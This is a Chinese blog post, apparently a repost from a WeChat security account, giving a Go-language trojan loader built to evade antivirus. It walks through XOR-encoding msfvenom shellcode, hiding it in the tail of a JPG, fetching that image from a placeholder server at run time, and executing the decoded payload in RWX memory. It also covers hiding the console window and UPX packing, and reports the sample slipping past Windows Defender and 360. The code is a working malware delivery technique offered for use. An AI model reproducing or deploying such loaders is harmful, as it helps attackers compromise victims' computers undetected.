免杀那点事儿之windows的shellcode(二)

admin 2023年2月24日17:17:50评论73 views字数 3591阅读11分58秒阅读模式

很久很久都没更新这个系列的文章了,都忘记这个系列了~~~~

上一篇文章还是去年10月份写的了~~~

系列上一篇文章戳下面

zngeek,公众号:蓝极战队免杀那点事儿之windows的shellcode(一)


今天的示例用golang来写,为什么呢?因为前几天受朋友委托开发一个工具,但是要用golang写,因为他们要源码,索性就研究了一下golang,发现还真特么方便。


其实我们做木马也好,病毒也好,第一就是小巧便携无依赖,首先那些解释型语言就可以pass掉了,比如python、java等等需要依赖于环境和虚拟机来运行的语言,那么就一定要使用编译型的语言,比如我心中的YYDS----C语言,但是C语言跨平台的话太麻烦,针对不同操作系统C语言的代码差异还是非常大的,开发一些小功能还好,如果业务逻辑比较复杂的大点的程序,同时开发几个平台的,就比较麻烦了。


这时,golang这门编译型语言就很好的简化了跨平台的繁琐,基本可以一代码跨多平台,更关键的是,golang既是一门编译型语言,也有那些解释型语言的便捷开发性。

但是golang的缺点也很明显,编译出来的二进制文件体积非常大,今天说到的免杀案例,在windows平台上用C语言实现编译出来仅16kb,而同样的功能golang的代码编译出来有8MB多,即便加上了-s -w参数,编译出来也有5MB左右,再用upx -9压缩一下也有2.5MB左右,所以各有利弊。


今天免杀的思路是接上一篇文章的异或shellcode来进行延申。


即便我们异或了shellcode,但是在长期存储在本地时,也很有可能被防病毒软件检测到,所以我们再拓展一个思路,就是shellcode不写在程序里面,而是在需要用到的时候,再向服务器请求shellcode直接载入到内存里面进行运行。


木马的业务流程图如下:

免杀那点事儿之windows的shellcode(二)


在写木马之前,我们先写一个将shellcode加密隐写到图片中的程序。

这里的加密我们还是用了异或,你也可以用其他的加密解密方式。

var KEY_1=整数var KEY_2=整数xor_shellcode = []byte{你的shellcode}var shellcode []bytefor i := 0; i < len(xor_shellcode); i++ {  shellcode = append(shellcode, xor_shellcode[i]^KEY_1^KEY_2)}

这里异或了两次,KEY_1和KEY_2自己定义,解密的时候用同样的整数异或即可。

然后将字节数组base64编码成为字符串,并且写入到图片当中。

decodeBytes := base64.StdEncoding.EncodeToString(shellcode)  fname := “要写入的图片路径”  f, err := os.OpenFile(fname, os.O_CREATE|os.O_RDWR|os.O_APPEND, os.ModeAppend|os.ModePerm)  if err != nil {    fmt.Println(err)  }  f.WriteString(decodeBytes)  f.Close()

用16进制看一下图片,已经在末尾追加上了我们异或编码后的shellcode数据了。

免杀那点事儿之windows的shellcode(二)

包含shellcode的图片制作完成后,就可以开始写木马了。

主要用到了kernel32.dll里面的VirtualAlloc和ntdll.dll里面的RtlCopyMemory两个函数。

VirtualAlloc函数用来开辟内存空间,RtlCopyMemory函数用来复制数据到内存空间。

先定义函数

var (  kernel32      = syscall.MustLoadDLL("kernel32.dll")  ntdll         = syscall.MustLoadDLL("ntdll.dll")  VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")  RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory"))

直接在main函数里面开写,先请求服务器下载包含shellcode的图片。

imageURL := "http://你的服务器/1.jpg"
resp, err := http.Get(imageURL) if err != nil { os.Exit(1) } b, err := ioutil.ReadAll(resp.Body) resp.Body.Close() if err != nil { os.Exit(1) }

将下载好的图片二进制数据写入到变量b中,接下来要提取出异或编码后的shellcode并且异或解码

  idx := 0  b = []byte(b)  for i := 0; i < len(b); i++ {    if b[i] == 255 && b[i+1] == 217 {      break    }    idx++  }  encodeString := string(b[idx+2:])  decodeBytes, err := base64.StdEncoding.DecodeString(encodeString)  if err != nil {    log.Fatalln(err)  }  var shellcode []byte  for i := 0; i < len(decodeBytes); i++ {    shellcode = append(shellcode, decodeBytes[i]^KEY_1^KEY_2)  }

KEY_1和KEY_2要跟加密前一样。

直接VirtualAlloc开辟shellcode长度的内存空间,RtlcopyMemory将shellcode的数据copy到开辟的内存空间中,最后直接syscall运行该空间中的数据。

  addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)  if err != nil && err.Error() != "The operation completed successfully." {    syscall.Exit(0)  }  _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))  if err != nil && err.Error() != "The operation completed successfully." {    syscall.Exit(0)  }  syscall.Syscall(addr, 0, 0, 0, 0)

至此,我们的木马就全部写完了。


------可爱的分割线------

下面还是用大家喜闻乐见的老外的msf来演示吧。

首先用msfvenom生成一个shellcode,因为这里用的go语言,所以-f 直接填go

免杀那点事儿之windows的shellcode(二)

然后将生成好的shellcode替换到我们的加密隐写代码中。提前准备一张图片,代码里的图片路径也要修改一下。这里我直接os.Args[1]取第一个参数就是图片路径

免杀那点事儿之windows的shellcode(二)

直接go run code.go 1.jpg

免杀那点事儿之windows的shellcode(二)

可以看到,图片正常,并且数据已经追加进去了。

免杀那点事儿之windows的shellcode(二)

图片可以上传到一些无损图库或者你自己的服务器,这里演示我就直接python临时创建一个http服务。

免杀那点事儿之windows的shellcode(二)

修改代码中的图片下载地址

免杀那点事儿之windows的shellcode(二)

直接go build 编译,可以加上--ldflags "-s -w",-w:去掉调试信息; -s:去掉符号表,这样可以减小程序的体积。

windows可以加上 -H=windowsgui 这样运行就不会有控制台窗口了。

编译好后,还可以upx -9 loader.exe压缩一下,这样体积更小。

免杀那点事儿之windows的shellcode(二)

直接运行loader.exe,可以看到程序下载了图片,并且读取解密了shellcode,然后上线成功。

免杀那点事儿之windows的shellcode(二)

看一下免杀情况,首先在本机上windows defender和360没有任何反应,再上传到virscan去检测一下

只有安天和ikarus检测异常

免杀那点事儿之windows的shellcode(二)

附上报告链接

https://www.virscan.org/report/19feacb2f99cd7b457427f0ac1a75abee3a72c6861a84f22d0ecbf34485bf442https://www.virscan.org/report/19feacb2f99cd7b457427f0ac1a75abee3a72c6861a84f22d0ecbf34485bf442

比上一篇文章单纯的异或免杀效果又好了很多,但是也可以看到,即便极度的减小体积,整体程序最终的大小还是有1.7MB,上述的所有功能我也用小C写了一遍,编译出来仅仅16KB,代码就不贴出来了,原理都是一样的,大家感兴趣的可以去用C语言复刻一下。


原文始发于微信公众号(蓝极战队):免杀那点事儿之windows的shellcode(二)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月24日17:17:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   免杀那点事儿之windows的shellcode(二)https://cn-sec.com/archives/1572249.html

发表评论

匿名网友 填写信息